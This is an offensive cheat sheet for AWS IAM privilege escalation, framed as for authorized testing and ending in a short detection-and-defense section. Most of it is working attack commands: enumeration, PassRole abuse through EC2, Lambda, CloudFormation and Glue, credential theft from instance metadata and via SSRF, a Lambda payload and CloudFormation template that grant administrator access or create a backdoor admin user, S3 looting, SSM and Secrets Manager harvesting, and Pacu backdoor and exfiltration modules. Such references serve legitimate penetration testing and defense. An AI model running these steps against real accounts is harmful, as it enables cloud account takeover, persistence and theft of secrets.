AWS-IAM-PRIVESC
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
A practical reference for enumerating, exploiting, and auditing AWS IAM misconfigurations and privilege escalation paths.
IAM ENUMERATION#
# Get current identity aws sts get-caller-identity # List all users aws iam list-users # List all roles aws iam list-roles # List all policies aws iam list-policies --scope Local # Get user's attached policies aws iam list-attached-user-policies --user-name <username> aws iam list-user-policies --user-name <username> # Get inline policy details aws iam get-user-policy --user-name <username> --policy-name <policy> # Get managed policy version (current permissions) aws iam get-policy-version --policy-arn <arn> --version-id <v1> # List group memberships aws iam list-groups-for-user --user-name <username> # List role policies aws iam list-attached-role-policies --role-name <role> aws iam list-role-policies --role-name <role> # Enumerate all permissions for current user (using enumerate-iam) python3 enumerate-iam.py --access-key <AKIA...> --secret-key <secret> # Check for access keys aws iam list-access-keys --user-name <username> # Bruteforce account ID from access key python3 iam-key-enumerator.py <AKIA...>
IAM:PASSROLE ESCALATION#
# iam:PassRole allows assigning a role to a resource you control # Combined with resource creation permissions, this leads to privesc # Scenario 1: PassRole + EC2 RunInstances # Create EC2 instance with high-priv role, then use instance metadata aws ec2 run-instances \ --image-id ami-0abcdef1234567890 \ --instance-type t2.micro \ --iam-instance-profile Name=AdminRole \ --key-name mykey # Connect to instance and curl metadata curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole # Scenario 2: PassRole + Lambda CreateFunction aws lambda create-function \ --function-name escalate \ --runtime python3.9 \ --role arn:aws:iam::<account>:role/AdminRole \ --handler index.handler \ --zip-file fileb://payload.zip aws lambda invoke --function-name escalate output.txt # Scenario 3: PassRole + CloudFormation aws cloudformation create-stack \ --stack-name escalate \ --template-body file://template.yaml \ --role-arn arn:aws:iam::<account>:role/AdminRole \ --capabilities CAPABILITY_NAMED_IAM # Scenario 4: PassRole + Glue aws glue create-dev-endpoint \ --endpoint-name escalate \ --role-arn arn:aws:iam::<account>:role/AdminRole \ --public-key "ssh-rsa AAAA..."
STS:ASSUMEROLE CHAINS#
# Assume a role directly aws sts assume-role \ --role-arn arn:aws:iam::<account>:role/TargetRole \ --role-session-name escalation # Export credentials from assume-role response export AWS_ACCESS_KEY_ID=<AccessKeyId> export AWS_SECRET_ACCESS_KEY=<SecretAccessKey> export AWS_SESSION_TOKEN=<SessionToken> # Chain roles: assume Role A, then use it to assume Role B # Role A trusts your user, Role B trusts Role A aws sts assume-role --role-arn arn:aws:iam::<account>:role/RoleA --role-session-name step1 # (export creds) aws sts assume-role --role-arn arn:aws:iam::<account>:role/RoleB --role-session-name step2 # Cross-account role assumption aws sts assume-role \ --role-arn arn:aws:iam::<other-account>:role/CrossAccountRole \ --role-session-name xaccount # Find assumable roles by checking trust policies aws iam get-role --role-name <role> --query 'Role.AssumeRolePolicyDocument' # Enumerate all roles and their trust policies for role in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do echo "=== $role ===" aws iam get-role --role-name "$role" --query 'Role.AssumeRolePolicyDocument' done
LAMBDA ESCALATION#
# If you can create/update Lambda functions with a high-priv role:
# Create payload (index.py)
# import boto3
# def handler(event, context):
# client = boto3.client('iam')
# client.attach_user_policy(
# UserName='compromised-user',
# PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
# )
# return 'escalated'
# Zip and deploy
zip payload.zip index.py
aws lambda create-function \
--function-name privesc \
--runtime python3.9 \
--role arn:aws:iam::<account>:role/LambdaAdminRole \
--handler index.handler \
--zip-file fileb://payload.zip
# Invoke
aws lambda invoke --function-name privesc output.txt
# Update existing function code (if lambda:UpdateFunctionCode)
aws lambda update-function-code \
--function-name existing-func \
--zip-file fileb://payload.zip
# Add Lambda layer with malicious code
aws lambda publish-layer-version \
--layer-name backdoor \
--zip-file fileb://layer.zip \
--compatible-runtimes python3.9
EC2 INSTANCE PROFILE ABUSE#
# Query instance metadata (IMDSv1) curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Get credentials from instance profile curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> # IMDSv2 (token required) TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name> # Get user data (may contain secrets) curl http://169.254.169.254/latest/user-data # SSRF to metadata endpoint from web application # If app is vulnerable to SSRF, target: http://169.254.169.254/latest/meta-data/ # Modify instance profile on running instance (if ec2:AssociateIamInstanceProfile) aws ec2 associate-iam-instance-profile \ --iam-instance-profile Name=AdminProfile \ --instance-id i-1234567890abcdef0 # Create new instance profile and add role aws iam create-instance-profile --instance-profile-name escalation aws iam add-role-to-instance-profile --instance-profile-name escalation --role-name AdminRole
S3 BUCKET POLICY EXPLOITATION#
# List all buckets aws s3 ls # Check bucket policy aws s3api get-bucket-policy --bucket <bucket-name> # Check bucket ACL aws s3api get-bucket-acl --bucket <bucket-name> # Check for public access aws s3api get-public-access-block --bucket <bucket-name> # Read objects from misconfigured bucket aws s3 cp s3://<bucket>/sensitive-file.txt . aws s3 sync s3://<bucket>/ ./loot/ # Write to writable bucket (overwrite CloudFormation templates, Lambda code) aws s3 cp backdoor.zip s3://<bucket>/lambda-code.zip # Exploit bucket used as CloudFormation template source # Upload modified template that creates admin user aws s3 cp malicious-template.yaml s3://<bucket>/template.yaml # Find buckets via DNS bruteforce python3 cloud_enum.py -k company # Or use bucket-finder, S3Scanner
CLOUDFORMATION STACK ABUSE#
# If you have cloudformation:CreateStack + iam:PassRole # Template to create admin user (template.yaml): # AWSTemplateFormatVersion: '2010-09-09' # Resources: # AdminUser: # Type: AWS::IAM::User # Properties: # UserName: backdoor-admin # ManagedPolicyArns: # - arn:aws:iam::aws:policy/AdministratorAccess # AccessKey: # Type: AWS::IAM::AccessKey # Properties: # UserName: !Ref AdminUser # Outputs: # AccessKeyId: # Value: !Ref AccessKey # SecretAccessKey: # Value: !GetAtt AccessKey.SecretAccessKey aws cloudformation create-stack \ --stack-name privesc \ --template-body file://template.yaml \ --role-arn arn:aws:iam::<account>:role/CloudFormationAdminRole \ --capabilities CAPABILITY_NAMED_IAM # Get outputs (access keys) aws cloudformation describe-stacks --stack-name privesc --query 'Stacks[0].Outputs' # Update existing stack with malicious template aws cloudformation update-stack \ --stack-name existing-stack \ --template-body file://malicious-template.yaml \ --capabilities CAPABILITY_NAMED_IAM
SSM (SYSTEMS MANAGER) ABUSE#
# Send commands to EC2 instances via SSM aws ssm send-command \ --instance-ids i-1234567890abcdef0 \ --document-name "AWS-RunShellScript" \ --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ && id"]' # Get command output aws ssm get-command-invocation \ --command-id <command-id> \ --instance-id i-1234567890abcdef0 # Start SSM session (interactive shell) aws ssm start-session --target i-1234567890abcdef0 # List SSM managed instances aws ssm describe-instance-information # Read SSM parameters (may contain secrets) aws ssm get-parameters-by-path --path "/" --recursive --with-decryption aws ssm get-parameter --name /prod/database/password --with-decryption # Put parameter (persistence) aws ssm put-parameter --name "/backdoor/key" --value "secret" --type SecureString
PACU - AWS EXPLOITATION FRAMEWORK#
# Install Pacu pip3 install pacu # Start Pacu pacu # Set keys set_keys # Run enumeration modules run iam__enum_users_roles_policies_groups run iam__enum_permissions run iam__privesc_scan # Privilege escalation run iam__privesc_scan # Finds escalation paths run iam__backdoor_users # Creates backdoor access keys # S3 enumeration run s3__bucket_finder run s3__download_bucket # EC2 enumeration run ec2__enum # Lambda enumeration and exploitation run lambda__enum # Persistence modules run iam__backdoor_assume_role run lambda__backdoor_new_users # Data exfiltration run s3__download_bucket --dl-names
OTHER ESCALATION VECTORS#
# 1. iam:CreatePolicyVersion - Create new policy version with admin perms
aws iam create-policy-version \
--policy-arn <policy-arn> \
--policy-document file://admin-policy.json \
--set-as-default
# 2. iam:SetDefaultPolicyVersion - Switch to a more permissive version
aws iam set-default-policy-version --policy-arn <arn> --version-id v1
# 3. iam:AttachUserPolicy / iam:AttachRolePolicy
aws iam attach-user-policy --user-name <user> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# 4. iam:PutUserPolicy - Add inline admin policy
aws iam put-user-policy --user-name <user> --policy-name admin --policy-document file://admin.json
# 5. iam:AddUserToGroup - Add self to admin group
aws iam add-user-to-group --user-name <user> --group-name Admins
# 6. iam:CreateLoginProfile / iam:UpdateLoginProfile
aws iam create-login-profile --user-name <user> --password 'NewP@ssw0rd!' --no-password-reset-required
# 7. sts:GetFederationToken
aws sts get-federation-token --name admin --policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
# 8. Secrets Manager / Parameter Store for credential harvesting
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <secret-name>
# 9. CodeBuild project with elevated role
aws codebuild create-project --name escalate --source type=NO_SOURCE --environment type=LINUX_CONTAINER,image=aws/codebuild/standard:5.0,computeType=BUILD_GENERAL1_SMALL --service-role arn:aws:iam::<account>:role/CodeBuildAdmin
DETECTION & DEFENSE#
# Enable CloudTrail in all regions aws cloudtrail create-trail --name security-trail --s3-bucket-name <bucket> --is-multi-region-trail # Enable GuardDuty aws guardduty create-detector --enable # Monitor for high-risk API calls: # CreateUser, CreateAccessKey, AttachUserPolicy, PutUserPolicy # AssumeRole, CreateRole, UpdateAssumeRolePolicy # CreateFunction, UpdateFunctionCode # RunInstances with iam-instance-profile # Use IAM Access Analyzer aws accessanalyzer create-analyzer --analyzer-name security --type ACCOUNT # Generate credential report aws iam generate-credential-report aws iam get-credential-report --output text --query Content | base64 -d # Check for unused credentials aws iam get-credential-report | jq '.[] | select(.password_last_used == "N/A")' # SCPs (Service Control Policies) to prevent escalation # Deny iam:CreateUser, iam:AttachUserPolicy from non-admin roles # Deny sts:AssumeRole to sensitive roles except from approved principals